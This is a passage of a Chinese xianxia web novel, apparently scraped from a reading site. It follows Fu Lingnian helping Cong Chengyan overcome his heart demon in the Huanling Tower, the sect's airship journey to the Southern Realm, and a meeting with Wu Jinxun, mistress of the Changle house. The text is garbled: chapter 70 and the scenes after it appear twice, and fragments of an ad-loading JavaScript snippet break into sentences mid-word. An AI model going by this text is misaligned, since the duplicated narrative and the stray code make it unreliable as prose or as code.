从承言有些迷茫地看着满脸血污堪称修仙界汉尼拔的阿九,又看了看一脸老母亲心切的伏令年。 “好奇怪的幻境…”他喃喃道。 “哪里奇怪?”伏令年正忙着柔性劝导阿九将刚刚塞进嘴里的古怪黑雾吐出来,闻言问道。 “你们…奇怪。”从承言缓缓道:“以前,你们出现,只会一边鼓掌一边在旁边看着我战斗,或者是突然消失…这次,你居然出现了这么久,还有…一个不认识的人。”他皱眉看了看阿九。 伏令年听得嘴角微抽,她在从承言心中,原来是这么一个形象吗?! “是不一样,所以你没发现有什么不对吗?” 伏令年无奈地问。 “有。”从承言想都没想道:“温季才变成女孩了。” 伏令年:…… 就在这时,树林外忽然响起动静。 伴随着窸窸窣窣的摩擦声,一道人影鬼鬼祟祟地从树后探出了脑袋。 三人齐齐望去,正好看见温季才那张熟悉的面孔。 就在伏令年也开始思考这究竟是真人还是幻影之时,顶着温季才面孔的人把身旁的另一个人拖到了背后。 ——那是在刚刚混乱之中偷偷跑掉的小从承言。 温季才一边护着小从承言,一边看着伏令年三人,小心翼翼地说:“你们现在看上去,很像会吃小孩的。” 68. 何为剑道 幻灵塔身处,两位老者正在对弈。 他们坐得相隔甚远,巨大的棋盘立于中央,黑白子大如磨盘。 灰衣老者手指微动,悬浮于四周的黑子落于棋盘,发出清脆的敲击声。 青衣老者随后落子,他面上苦恼,似是落了下风。 “无趣啊无趣,”眼见着灰衣老者将要落子,青衣老者忽地道:“这替灵犀那守塔的日子也不知要到何时。” 灰衣老者无奈地瞧了青衣老者一眼,一子落下:“你输了。” “咳…”青衣老者转而言其他:“也不知塔内的小辈如何了。” 说着,他袖袍挥动,一面似乎是水影幕的事物随即浮现。 画面闪动着,投影出各处弟子的身影。 准确来说,是诸位弟子神魂的投影。 幻灵塔总共有整整九十九层,一次能容下九十八位弟子。 踏入幻灵塔后,弟子们出窍的神魂被随机传送至任意层。 幻灵塔并不以爬塔的方式进行试炼,每位弟子只要能破除自身幻境,便能神魂归体,离开幻灵塔。 因而,当青衣老者看见身处同一层的四道神魂时,顿时瞪大了双眼。 他将操纵着画面拉近放大,又揉了揉眼睛:“我这是…元寿将尽,老眼昏花啦?” 灰衣老者面无表情地道:“我想,你陨在雷劫中的可能性要比元寿耗尽来得大…这四人居然聚集在同一层幻境中了。” 一层幻境中同时存在四位弟子。 这是以往从未出现的情况,起码他们二人从未听闻。 “这是何状况啊,”青衣老者面上浮现出有些浮夸的忧虑之色:“我可得仔细瞧瞧。” 说着,青衣老者急匆匆起身,唯留给灰衣老者一道背影。 …… 三人行变为了五人行——若小从承言的幻影也能称为人的话。 一路行进,几人多次遭遇重重幻象,又多次通过武力解决。 伏令年几人中,除了从承言本人和小幻影以外,皆破除过从承言幻境中的终极boss——也就是他的杀母仇人,疑似绯月峰峰主的红衣女子。 然而,尽管他们一次又一次地打破幻影,幻境依旧没有消失的迹象。 从承言状态极差,依旧处于无法分清幻象现实的状况当中。伏令年一开始想着将他直接送出幻灵塔,现下细想来才发觉这么一个看似简单的话都是极难完成的。 伏令年虽可以试着寻找此处幻境的特殊处,像带着阿九那样,带着从承言离开这场幻境。但即便如此,他们大约也只能进入下一个人的幻境当中,无法彻底离开幻灵塔。 若直接放弃试炼离开,不知参加四境大会的资格是否会被废除。若是这样,伏令年前脚刚踏出,后脚就要暴毙于系统之下了。 那位老者将他们引进来后,并未讲述任何相关规定,便消失了。 幻灵塔内的规则他们并不清晰,不知这是否亦是试炼的一环 伏令年出剑,再次斩灭了红衣女子的幻影。 这次,红衣女子的面容更加模糊扭曲。 比起一开始的模样,已有了很大的变动。 红衣女子的实力亦大不如从前,然而,从承言却依旧无法于之抗衡。 更准确来说,他似乎已然丧失了持握赤霄剑于之抗衡的能力。 于剑修而言,若于手中之剑产生的“间隙“,那便毫无剑道可言。 对此,伏令年其实有所理解。 在幻境中看出,从承言认为赤霄剑终结了他母亲的生命,沾染了他母亲的鲜血。他认为自己不配拿起赤霄剑,甚至对赤霄剑怀有“憎恨”之情。 然而,他其实根本就未看清当初的状况。 从他自己的叙述可知,年幼的从承言虽目睹了母亲被杀害的情景,却并不能确定杀害了他母亲的凶手就是绯月峰峰主,亦无非确定赤霄剑便是那把沾染着他母亲鲜血的剑。 有些话即使是谎话,重复了千万遍便有可能成为他人眼中的“真话”。 幻境也是如此,困于幻境的从承言一遍一遍观看这样的场景,即使这并不一定是真相,他却会信以为真。 想要让从承言获得重新对抗幻境心魔的力量,恐怕要先让他重拾握剑的力量。 若是能改变幻境。 伏令年心中有了这么一个想法。 随即,她又自己否决了这个想法。 这可是幻灵塔内,此处又不是她的幻境,哪是她说改变便能改变的? 目光挪移,伏令年先是瞧了身旁眼神放空的阿九一眼,随后又与正好扭过脑袋的温季才相视。 …… 浓雾,眼前皆是浓雾。 意味不明的呓语声充斥于耳侧,让人头痛欲裂。 从承言呆滞地行走于路上,不时有黑影在周遭浮现。 它们会攻击自己。 从承言心理浮现如此预警。 赤霄剑就持于手中,然而,从承言却觉得它重如千钧。 它不复往日的气势,色泽暗淡,宛若一块废铁。 从承言甚至能感受到,赤霄剑对他的抗拒。 对懦弱之人,无用之人的抗拒。 若不是前几次有伏令年和温季才几人幻影的帮助,他恐怕根本无力再见到那让他恨之入骨的杀母仇人。 想到伏令年和温季才两人,从承言的脑海忽地清醒了一些。 他扭头四下张望,却意外地发觉,伏令年和温季才的身影不见了。 不见了? 从承言内心蔓出一阵古怪的感受,他手脚有些发冷,麻木发僵的思维缓慢转动着。 若是他清醒,恐怕会辨别出来,这种感受是恐惧。 虽然说他们是幻影,然而,当他们消失之时,从承言还是感到了强烈的恐惧。那是对孤独的恐惧,亦是对失去的恐惧。 视线缓慢的挪移,从承言忽地看见了一道有些眼熟的身影。 那是一位少女,皮肤白皙,身上的衣服沾染着干涸的血迹。 她闭着眼睛,于人死气沉沉之感。 从承言不知道她是谁,但循着本能,他朝少女的方向走了过去。 行至一半,从承言忽地听到了一道惊呼声。 那道声音极其熟悉,从承言脑海中立即闪出了一个名字“温季才”。 “二丫!” 他这么喊到。 循声望去,从承言看见了极为可怖的一幕。 浓郁的黑雾当中,伏令年四肢被纠缠着,无法动弹。 一道身着红衣的模糊身影浮现于不远处,手中长剑直指伏令年的胸膛。 似乎是想直接将她洞穿。 血液似乎在逆流,耳边响起汩汩的血流声,甚至盖过了持续不断的呓语之声。 面前的场景似乎与记忆之中的画面重叠在了一起。 从承言不知自己是如何行动的。 在感受落到实处的那一刻,他已然来到了伏令年的面前。 暗淡的赤霄剑与敌人的赤霄剑交击在一起。 “咔嚓”的声响中,从承言似乎看见了手中赤霄剑断裂的场景。 不知何时,暗淡的赤霄剑上已 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 布满了锈迹,全然无了灵剑应有的模样。 赤霄剑一旦断裂,从承言恐怕会被对方一剑劈为两段。 幻影被劈散能重组,但他呢? 他不知道。 但他不会后退。 幼时,他亲眼见母亲死在面前,却只能拼命向远处奔逃。 如今,他绝不会看着好友就这么“死”于自己面前。 此时的他能持剑,守护自己所珍视的人与事物。 “咔嚓” 更加清晰的破裂声传来,从承言眼中的彷徨与迷茫却被洗去,他眼中没有恐惧,只有坚定。 持剑,守护。 他持剑不止是为了复仇,他的剑道也并非只为了报仇而成。 此念于内心产生,刹那间,刺目的光芒将相持中的两人完全笼罩于内。 布满锈迹的剑身皲裂,表层的铁锈碎块簌簌掉落于地。 锈身之下,红如焰,明如玉的剑身显露其中。 赤霄剑如初醒来的火龙,咆哮着扫荡周遭的一切。 待焰火渐息,原地再无红衣女子的身影。唯独留下一只手持“赤霄剑”的断臂。 “赤霄剑”随即变得暗淡无光,化为齑粉飘散。 从承言立于远处,心跳依旧急促,目光却逐渐平静。 他斩破了心魔? 身后传来响动,从承言急忙扭头,想查看伏令年的情况。 却见她不知何时已脱离了困境,正惊讶又喜悦地注视着他。 这着实是意外又惊喜。 陷入黑雾困境,是伏令年和温季才策划的“戏剧”。 虽然她无法直接更改幻境,却能作为一个小小的变数,以此使幻境产生细微的变动。 伏令年自忖有足够的能力应付黑雾,便以身作饵,假装陷入困境,想借此引动幻境的变化,以此使从承言脱离如今麻木且循环往复的状态。 却不想,她引来的岂止是细微的变动。 红衣女子的突然出现,扰乱了伏令年与温季才原先的计划。 若非从承言骤然爆发,伏令年也不敢说自己能在那样的突发情况下全身而退。 看着从承言手中恢复光采的赤霄剑,伏令年不用询问,便已知晓他如今已然恢复。 “你斩破了它?”伏令年看着逐渐散为黑雾的手臂,问。 无需伏令年过多叙述,从承言知晓她的意思。 “没有。”从承言说:“它跑了。” 心魔仍未被完全破除,但此时的从承言,已截然不同。 如今的他,才真正具备了斩破心魔的能力。 他为复仇而存,为复仇而战。然而,仇恨并不能用于驾驭手中之剑,他心中已有了明悟。唯有以剑守护,才是御剑之道。 停滞不前,犹豫不决只会逐渐消亡。 他所恐惧的,所担忧的事物依旧存在。但他并非孤独一人。 即使在这幻境当中,也依旧有友人携手同行。 “多谢。” 伏令年与温季才都替从承言感到喜悦之时,却听他说了这么一句话。 “多谢?”伏令年听得鸡皮疙瘩都起来了——有种听熟人客气的不适感。 随即,她听到从承言接着说:“虽然你们如今只是幻影…” 伏令年:??? 所以,他现在还认为他们几个人都是幻象出来的吗?! “有没有一种可能。”伏令年无奈地道:“我们几个,真的是我们呢?” 事实证明,证明自己是自己,无论在哪一个世界,都是一个“难题。”。 70. 初入南境 飞舟之上,几个脑袋挨着,透过缝隙望下方望去。 云雾缭绕,天地茫茫。 “这是飞了多高啊!”温季才叹了一声。 伏令年眼睛微微眯起,感受着寒风拂过脸颊,整个人打了个哆嗦,却是神清气爽起来。 她看了眼伸出手试图去够云团的阿九,笑了一声:“这个也不能吃哦,阿九。” 距离幻灵塔一行又过去了两月。 离开幻灵塔后,伏令年没有立即向戒律堂告状,而是先寻了沈枫泽。 沈枫泽那张能止小儿夜啼的冰冷面孔在此时给了伏令年极大的安全感。 “蛊虫?”沈枫泽罕见地露出了凝重的神色。 他未质疑伏令年,而是先行确定了她的状况。 伏令年将发生的事情大致叙述了一遍,略去具体的幻境内容,重点提了子母虫的状况与出现地点。 戒律堂除了约束管理弟子行为以外,还负责维护宗门的秩序。 上报戒律堂后,此事果不其然引起了轩然大波。 近期进入过幻灵塔的弟子皆接受了检查,结果让伏令年意外。 与伏令年同时进入幻灵塔的那一批弟子,居然数十人受到了子虫的侵染。 又是那么的巧合,当日,原本负责执守幻灵塔的灵犀仙尊外出。 若不是伏令年与阿九发觉,被子虫侵染的弟子就成了定时炸弹。 在接受治疗时,伏令年才知晓,这种蛊虫名为噬魂虫。 这种蛊虫极为诡异,子虫可侵染修士的神魂。侵染后,修士本身并不会发现异样。 直到修士肉身被母虫寄生,被寄生的修士神魂便会被下蛊人操纵。这种操纵并非如同傀儡般失去神智,被寄生的修士依旧能保留自我意识,却会不由自主的受到操纵而不自知。 听闻种种,伏令年才知晓自己遇上了怎样的危险,有种劫后余生之感。 思虑至此,伏令年又想起了阿九。 她似乎对蛊虫并不陌生,甚至自称曾经吃过蛊虫。 伏令年不知道真假,但仅从此处,她便能看出阿九并不是个简单的人。 因此,在讲述时,伏令年有意隐瞒了阿九的所作所为。 若不是阿九相助,她恐怕就不明不白的被人操纵了。 再后来的事,便不是伏令年这个小弟子可以只晓的了。 宗内是否出现了卧底叛徒,宗门如何进行排查,叛徒又将如何处理…这些种种,伏令年暂且都无从知晓。 而身为小弟子的伏令年,即将迎来另外一件要事。 这是一件关乎宗门荣誉,亦关乎伏令年小命的大事。 四境大会,即将开启。 如今,她便站在飞舟之上,将乘坐着飞舟前往南境。 东西南北境由各自的境的大宗门所管控,既互相联合,亦有所争分。 不同境间没有直达的传送法阵,因而需要通过类似于飞舟的“交通工具”来承载运送人员。 在四境大会中,修士们将以各自所处的“境”为单位,进行切磋比拼。 昆仑宗处于东境,东境中排的上名号的大宗门派系有三个,分别是昆仑宗、星机阁与百药谷。 而他们要前往的南境,是合欢宗与断岳殿的主场。 除此之外,伏令年也特意了解了其余两个境。 西境,太衍殿与蓬莱门。 北境,万剑宗、机巧阁与丹鼎宗。 其中,蓬莱门、百药谷、丹鼎宗以及合欢宗都算得上是以医修和药修为主的门派。 合欢宗则更特殊些,比起医人,他们更擅长毒人。 合欢宗亦是所有“正牌”门派中唯一拥有蛊修的宗门。 蛊修在修仙界的名称一向都不大好,合欢宗亦是如此。 合欢宗的修士亦正亦邪,虽不算得魔修,却也让其余宗门很是忌惮。 在出发之前,伏令年一行人便被三番五次的叮嘱,务必要离合欢宗的人远些,莫着了他们的道。 昆仑宗此次派出的弟子约有三百来位,并非所有弟子都会进入秘境,其中有部分弟子还未达金丹期。但他们亦跟从队伍,既是观摩修行,也是作为补充。 人立于飞舟之上,飞舟行于云端。 日落红霞,星月交辉。 伏令年、从承言和温季才三人都是在内门长大的,从未离开过东境,也未乘飞舟见过如此美景,一时都沉浸于其中。 除了美景外,伏令年对于这飞舟的构造也是十分好奇。飞舟外形是尖端细中间粗的小舟造型,体型却是小舟的十几倍之大。 怎样的法阵,才能使得这样“小舟”飞行于天空之上呢? 飞舟上聚集了宗内各峰的弟子,多数弟子都与自峰的相熟之人安安静静地聚在一起,少有如伏令年五人般叽叽喳喳不停的。 说是叽叽喳喳,其实主要在说话的也只有温季才和伏令年两人。 不过仅是如此,他们的存在也足够显眼。 “真是吵闹。”一位紫云峰的弟子不耐地道。 四境大会在即,在场众人内心多少都对即将到来的比试感到紧张。 哪有像他们几人一样,自己的位置不坐,非得几个人挤在角落里叽叽喳喳。一会谈论着窗外美景,一会又聊起飞舟内雕刻精致的花纹。 他们难道都不知道四境大会的重要性吗?! “哼。”应兰溪冷哼一声,声音不大却很清晰:“某些宗门的弟子,自己能力不足荒废修炼,莫要影响了他人修行。” 他这句话自然是在嘲讽遨月峰,毕竟他们派出仅有的几位弟子仅是金丹期,处在此次四境大会的底层。 然而,他却忘记,角落里那一团人中,可不止有遨月峰的人。 此言一出,应兰溪顿时觉得好几道视线都落于他的脸上。 先是绯月峰的孟如烟一众人,再是归鸿峰的领队弟子。 虽然从承言在绯月峰并不合群,但应兰溪一言可是波及了不少人,顿时引得众人侧目。 应兰溪知晓自己说错了话,但一言既出,哪有收回的可能。 伏令年往这边看了一眼,朝身旁的高墨贤小声说了句什么。 就见得高墨贤从怀中取出一张符纸。 随即,小角落的声音被隔绝,飞舟内的其余弟子再未听见伏令年几人的动静。 飞舟内顿时安静了下来,气氛却未因此变得舒适。 一片寂静的飞舟内,甚至听不见呼吸声。 沉闷的气氛顿时弥散开来,使得人心不安。 唯见伏令年几人表情轻松,谈笑间似是快活的很。 只能见人无法听其声的众位弟子:突然就想听听他们在说什么了。 飞舟到达南境的那日,伏令年的生辰到了。 修仙者——起码昆仑宗的修士, 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“要不…再问问师姐?她怎么会让我们在这种地方取东西,一定是弄错了吧…一定是的。”温季才也小声回道。 高墨贤则认真比对了一番长乐坊匾额上的字体与信中的信息,确定道:“是这。” 三人顿时陷入了一阵沉默。 “你去。” “你去。” 高墨贤慢了两秒:“你…你去。” 对视几秒,伏令年果断道:“剪刀石头布。” 这种简单的益智小游戏,她早就传授给两人了。 然后……她输了。 当站在长乐坊门前时,伏令年视死如归。 长乐坊门前的两位美人早就留意伏令年几人许久了,见伏令年走近,其中一位美人顿时凑上前来。 “客官,几位?”美人笑着问道。 听到这句话,伏令年似是触发了什么关键词,无视背后温季才疯狂的摇头示意,下意识道:“呃…三位?” “好的,请随我来。”她声音带笑,说着话时近乎贴着伏令年的耳侧。淡淡的香气变得浓郁,钻入伏令年的鼻腔。 虽然看不见自己的脸,但它一定红透了,伏令年如此想。 直到坐在座位上,看着侍从端上菜肴之时,伏令年内心还是十分迷茫的。 她按照师姐信中所述,向引路的美人交代了自己的来意,便被引到了一个雅间内。 随即,各种菜肴便源源不断地摆了上来。 金灿灿的酥点面食、颜色鲜艳滑嫩的肉食、淡雅却绝不显寡淡的素食,每一道菜肴都足够让伏令年胃口大开。 她用最后的理智抑制住自己蠢蠢欲动的手。 她拉住一位侍从,问道:“这些菜肴,是怎么回事?” 侍从似是对她的问题也十分惊讶。 “这是…”话未说完,门外便传来了一道不耐的声音:“我说了,我要这个包间。” 女子温柔的嗓音回复道:“公子,雅间已有客人,他们早便预定此处,若您不介意,我给您安排其余的雅间?” “不。” 另一人显然很不好说话:“我预定的菜肴已经端进去了,这就是我的雅间。” 伏令年:哦吼。 看来,这满桌琳琅满目的菜肴,她是无福消受了。 70. 初入南境 飞舟之上,几个脑袋挨着,透过缝隙望下方望去。 云雾缭绕,天地茫茫。 “这是飞了多高啊!”温季才叹了一声。 伏令年眼睛微微眯起,感受着寒风拂过脸颊,整个人打了个哆嗦,却是神清气爽起来。 她看了眼伸出手试图去够云团的阿九,笑了一声:“这个也不能吃哦,阿九。” 距离幻灵塔一行又过去了两月。 离开幻灵塔后,伏令年没有立即向戒律堂告状,而是先寻了沈枫泽。 沈枫泽那张能止小儿夜啼的冰冷面孔在此时给了伏令年极大的安全感。 “蛊虫?”沈枫泽罕见地露出了凝重的神色。 他未质疑伏令年,而是先行确定了她的状况。 伏令年将发生的事情大致叙述了一遍,略去具体的幻境内容,重点提了子母虫的状况与出现地点。 戒律堂除了约束管理弟子行为以外,还负责维护宗门的秩序。 上报戒律堂后,此事果不其然引起了轩然大波。 近期进入过幻灵塔的弟子皆接受了检查,结果让伏令年意外。 与伏令年同时进入幻灵塔的那一批弟子,居然数十人受到了子虫的侵染。 又是那么的巧合,当日,原本负责执守幻灵塔的灵犀仙尊外出。 若不是伏令年与阿九发觉,被子虫侵染的弟子就成了定时炸弹。 在接受治疗时,伏令年才知晓,这种蛊虫名为噬魂虫。 这种蛊虫极为诡异,子虫可侵染修士的神魂。侵染后,修士本身并不会发现异样。 直到修士肉身被母虫寄生,被寄生的修士神魂便会被下蛊人操纵。这种操纵并非如同傀儡般失去神智,被寄生的修士依旧能保留自我意识,却会不由自主的受到操纵而不自知。 听闻种种,伏令年才知晓自己遇上了怎样的危险,有种劫后余生之感。 思虑至此,伏令年又想起了阿九。 她似乎对蛊虫并不陌生,甚至自称曾经吃过蛊虫。 伏令年不知道真假,但仅从此处,她便能看出阿九并不是个简单的人。 因此,在讲述时,伏令年有意隐瞒了阿九的所作所为。 若不是阿九相助,她恐怕就不明不白的被人操纵了。 再后来的事,便不是伏令年这个小弟子可以只晓的了。 宗内是否出现了卧底叛徒,宗门如何进行排查,叛徒又将如何处理…这些种种,伏令年暂且都无从知晓。 而身为小弟子的伏令年,即将迎来另外一件要事。 这是一件关乎宗门荣誉,亦关乎伏令年小命的大事。 四境大会,即将开启。 如今,她便站在飞舟之上,将乘坐着飞舟前往南境。 东西南北境由各自的境的大宗门所管控,既互相联合,亦有所争分。 不同境间没有直达的传送法阵,因而需要通过类似于飞舟的“交通工具”来承载运送人员。 在四境大会中,修士们将以各自所处的“境”为单位,进行切磋比拼。 昆仑宗处于东境,东境中排的上名号的大宗门派系有三个,分别是昆仑宗、星机阁与百药谷。 而他们要前往的南境,是合欢宗与断岳殿的主场。 除此之外,伏令年也特意了解了其余两个境。 西境,太衍殿与蓬莱门。 北境,万剑宗、机巧阁与丹鼎宗。 其中,蓬莱门、百药谷、丹鼎宗以及合欢宗都算得上是以医修和药修为主的门派。 合欢宗则更特殊些,比起医人,他们更擅长毒人。 合欢宗亦是所有“正牌”门派中唯一拥有蛊修的宗门。 蛊修在修仙界的名称一向都不大好,合欢宗亦是如此。 合欢宗的修士亦正亦邪,虽不算得魔修,却也让其余宗门很是忌惮。 在出发之前,伏令年一行人便被三番五次的叮嘱,务必要离合欢宗的人远些,莫着了他们的道。 昆仑宗此次派出的弟子约有三百来位,并非所有弟子都会进入秘境,其中有部分弟子还未达金丹期。但他们亦跟从队伍,既是观摩修行,也是作为补充。 人立于飞舟之上,飞舟行于云端。 日落红霞,星月交辉。 伏令年、从承言和温季才三人都是在内门长大的,从未离开过东境,也未乘飞舟见过如此美景,一时都沉浸于其中。 除了美景外,伏令年对于这飞舟的构造也是十分好奇。飞舟外形是尖端细中间粗的小舟造型,体型却是小舟的十几倍之大。 怎样的法阵,才能使得这样“小舟”飞行于天空之上呢? 飞舟上聚集了宗内各峰的弟子,多数弟子都与自峰的相熟之人安安静静地聚在一起,少有如伏令年五人般叽叽喳喳不停的。 说是叽叽喳喳,其实主要在说话的也只有温季才和伏令年两人。 不过仅是如此,他们的存在也足够显眼。 “真是吵闹。”一位紫云峰的弟子不耐地道。 四境大会在即,在场众人内心多少都对即将到来的比试感到紧张。 哪有像他们几人一样,自己的位置不坐,非得几个人挤在角落里叽叽喳喳。一会谈论着窗外美景,一会又聊起飞舟内雕刻精致的花纹。 他们难道都不知道四境大会的重要性吗?! “哼。”应兰溪冷哼一声,声音不大却很清晰:“某些宗门的弟子,自己能力不足荒废修炼,莫要影响了他人修行。” 他这句话自然是在嘲讽遨月峰,毕竟他们派出仅有的几位弟子仅是金丹期,处在此次四境大会的底层。 然而,他却忘记,角落里那一团人中,可不止有遨月峰的人。 此言一出,应兰溪顿时觉得好几道视线都落于他的脸上。 先是绯月峰的孟如烟一众人,再是归鸿峰的领队弟子。 虽然从承言在绯月峰并不合群,但应兰溪一言可是波及了不少人,顿时引得众人侧目。 应兰溪知晓自己说错了话,但一言既出,哪有收回的可能。 伏令年往这边看了一眼,朝身旁的高墨贤小声说了句什么。 就见得高墨贤从怀中取出一张符纸。 随即,小角落的声音被隔绝,飞舟内的其余弟子再未听见伏令年几人的动静。 飞舟内顿时安静了下来,气氛却未因此变得舒适。 一片寂静的飞舟内,甚至听不见呼吸声。 沉闷的气氛顿时弥散开来,使得人心不安。 唯见伏令年几人表情轻松,谈笑间似是快活的很。 只能见人无法听其声的众位弟子:突然就想听听他们在说什么了。 飞舟到达南境的那日,伏令年的生辰到了。 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她按照师姐信中所述,向引路的美人交代了自己的来意,便被引到了一个雅间内。 随即,各种菜肴便源源不断地摆了上来。 金灿灿的酥点面食、颜色鲜艳滑嫩的肉食、淡雅却绝不显寡淡的素食,每一道菜肴都足够让伏令年胃口大开。 她用最后的理智抑制住自己蠢蠢欲动的手。 她拉住一位侍从,问道:“这些菜肴,是怎么回事?” 侍从似是对她的问题也十分惊讶。 “这是…”话未说完,门外便传来了一道不耐的声音:“我说了,我要这个包间。” 女子温柔的嗓音回复道:“公子,雅间已有客人,他们早便预定此处,若您不介意,我给您安排其余的雅间?” “不。” 另一人显然很不好说话:“我预定的菜肴已经端进去了,这就是我的雅间。” 伏令年:哦吼。 看来,这满桌琳琅满目的菜肴,她是无福消受了。 71. 青鸢之邀 “怎么办?”温季才挑眉看着门帘外几道模糊的身影。 “还能怎办。”伏令年毫无心理负担地道:“让给他咯。” 出门在外,伏令年可不想莫名其妙惹一身腥。换个雅间而已,她又不吃亏。 然而,还未等伏令年三人做出什么反应,雅间的门帘骤然被拨开。 一道身着锦衣的身影率先映入伏令年眼帘。 领头的锦衣少年有着一双独特的深绿色眼眸,肌肤白皙得稍显苍白,似是常年不见阳光。 他眼眸流转,最后将视线落到了三人之中穿着最体面的高墨贤身上。 “你…你们。”他深绿色的眼眸眯起,态度很是傲慢:“离开我的雅间。” 高墨贤并不擅长这种与他人面对面交流的场景,这点倒是同从承言十分相似。不过与从承言不同,面对他人的轻视与挑衅,高墨贤几乎不会感到什么情绪上的波动。 就像现下的场景,高墨贤在对方的目光下,依旧是面无表情,只有眼神挪移,向伏令年和温季才发出询问。 他的反应让绿眸少年产生了误会,他似乎以为这是三人对他的无视。 还未等绿眸少年发难,他后头看着像跟班的另一位少年先开了口。 “你们可知我们是谁?” 不知道,也不太想知道。 “百药谷。”那弟子挺起胸膛,很是自豪的模样。 然而,他的自问自说并未引起三位少年什么情绪的变动。 他们连眼皮都没怎么抬,竟就这么当着他们的面窃窃私语起来。 就待绿眸少年脸色变沉,想要发难之时,三人忽地起身,姿态随意地往门帘行去。 伏令年经过绿眸少年身旁时,还礼貌地朝他们挥了挥手:“拜拜~” 温季才紧跟其后:“拜拜~” 高墨贤:“再见。” 然而,伏令年几人离开雅间未有几步,耳朵却敏锐捕捉到了一道声音。 “这雅间位置好,我要了。” 何其耳熟的语气。 伏令年不用看都听出了来者是谁——江钰景。 少爷撞上少爷,伏令年心中调侃地想着:也不知最终哪位少爷能占得上风。 未走几步,几位长乐坊的侍从赶来,微微欠身:“请随我们来。” 长乐坊深处,错落有致的楼阁层层叠叠,伏令年跟随着引路的侍从,穿过几条装饰繁复华美的长廊,最终来到了一扇雕刻着芙蓉图案的木门前。 门前的侍女伸手,推开房门。 鼻尖嗅到淡淡的花香,伏令年眉头不易察觉地稍稍蹙起,随即又舒展开来。 “这里是?”伏令年侧头询问。 还未待侍女回应,半敞的木门内,一道身影款款走出。 来者姿态优雅,步伐轻盈,周身仿佛有着诡异的吸引力,顿时捕获了在场所有人的目光。 她身着翡翠色的烟罗绮云裙,面上的轻纱缓缓摆动。面纱之上,一双眉目水波流转,带着淡淡的笑意。 随着她的动作,身上悬挂的珠宝相互碰撞,发出清脆的“叮当”之声。 “几位道友,初次见面。”女子声音轻柔,予人亲切之感:“在下青鸢阁,吴瑾浔…亦是这长乐坊的…坊主。” “青鸢阁?” 伏令年喃喃了一句。 似乎有些耳熟。 温季才记忆一向极好,伏令年扭过头,想询问一二时,却听见另一侧的高墨贤小声作了解答:“青鸢阁,由横跨四境的三姓商贾世家组成。民间流传着一句话与青鸢阁有关的谚语:''天下珍奇见青鸢''。” 是了。 伏令年记起自己在何处听闻过青鸢阁了。 她在木延街市拍卖行当群演的日子里,便有好几次听闻青鸢阁的名号。 传闻,青鸢阁曾经是一行由女性修仙者发起组成的小小的商队,行走于四境,交易运送各类事物。 她们闯荡秘境,获取珍奇异宝。她们创立修仙者的集市,打通人妖之间的商业交流。在人族与妖族还和平共处的年代,搭建起人族与妖族交流的桥梁。 经过多年的发展,青鸢阁逐步壮大,其中逐渐衍生出许多商贾世家。 如今青鸢阁由吴、孙、高三姓世家所掌握。 草药丹药、法器灵宝,各色事物的交易,多多少少都会流经青鸢阁之手。 可以说,四境的各大宗门派系,只要是需要与外界进行商业交流的,都不免与青鸢阁有所联系。 没想到这长乐坊,也是青鸢阁的产业。 只是,这样一位一瞧身份便不低的女子,为何要见他们? 似是未看见伏令年几人疑惑地目光,吴瑾浔语气柔和地招呼道:“几位,随我来吧。” …… 暖黄的柔和灯光下,杯盏轻撞,声音轻脆。 青玉色的杯盏被放于伏令年面前,酒香浓郁,充盈于鼻端。 伏令年的眼眸中映出一道翡翠色的人影,吴瑾浔已脱下面纱,露出了轻纱下的面容。 她的容貌算不得美艳,比起台上翩然起舞的舞者而言言甚至显得普通。然而,她举手投足间却有一种让人挪不开眼睛的魅力。 吴瑾浔给伏令年几人斟满了酒,朝伏令年眨了眨眼睛:“冒昧邀你们前来,抱歉。” 伏令年举杯与吴瑾浔相碰,微微抿了一口。 酒水口感醇厚而独特,透着浓郁的果香。酒液如丝绸般柔滑,咽入喉中,泛起点点辛辣与沉香。 伏令年在原来的世界也很少饮酒,自诩对酒的品鉴能力不高。不过就以她外门的行道来看,这也绝对是难得一品的好酒。 吴瑾浔自称听闻了坊内的冲突,对伏令年几人被迫离开雅间而感到抱歉。因此,特地将他们引来此处。 她话是这么说,伏令年却不会全信。 若只是为这么一件小事,给他们换一个雅间即可,身为坊主的吴瑾浔何必亲自同他们见面。 伏令年将酒盏放下,望向吴瑾浔:“坊主客气了,只是小事。” “叫坊主倒是有些生疏。”吴瑾浔笑容不减,纤白的手掌轻轻附于伏令年的手背:“你是阿祉的师妹,若是愿意,喊我一声阿姐即可。” 伏令年眉头微微上挑,反手握住吴瑾浔的手:“姐姐,你认识我师姐?” 手指摸索间,伏令年触碰到了对方掌心的粗糙茧子——这与她那看似娇嫩纤细的手指形成了鲜明对比。 “当然,我与你师姐是极好的朋友。”吴瑾浔一边说着,朝身旁的侍女点了点头。 一盘盘菜肴被相继摆放于素雅的圆木桌上,侍从们如流水般相继走过,带起的微风中都带 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着甜香。 这仅是开始,侍从们退下后,几位身着艳丽衣裙的舞者与乐师依次走入,室内的香气顿时变得更加浓郁,予人极尽奢靡之感。 悠扬的丝竹之声起,几位舞者却未立即上台献舞蹈,而是凑到了伏令年的身旁。 伏令年:? 其中一人纤白的玉指轻轻蹭过伏令年的面颊,留下灼热的触感。 “客官。”另一人俯身在伏令年耳边笑着轻语,声音很柔,却明显是男性的嗓音:“不知您想看谁献舞呢。” 伏令年哪里见过这场面,眼神躲闪着环顾四周,发觉温季才两人亦是陷入了这样的困境当中。 鼻间满是浓郁的脂粉香气,伏令年头往后仰了仰,不动声色地避开舞者的触碰。 她随便指了指处于队末的二人:“就这两人吧…” 由于视线受阻,伏令年未留意到,原本安坐于座位上的吴瑾浔微微侧头,眸光变得意味深长。 几位舞者之中,有两人身着相同的紫色纱裙,举手投足间有着奇妙的契合。 听到伏令年的话,两人同时抬首,发饰随着她们的动作叮咚作响。 鼻梁高挺,眼窝深邃,皮肤白皙,衬得红唇似血。黑眸隐约泛着迷蒙的紫色——这是两张近乎完全相同的、美艳的近乎妖冶的面孔。 眸光相对,伏令年忽感心尖一颤。 “是,客官。”两人嘴角噙着相似的笑容,朝伏令年微微欠身。耳边发丝随她们动作间滑落,掩盖住盘绕在耳侧的银饰。 即使是这样微小的动作,两人也仿若相互映照的镜面,整齐划一。 随着两人转身上台,曲调骤然变幻,箫笛之声渐急。 “叮当。”舞者一脚踏出,白皙的足腕上,银铃叮铃作响。 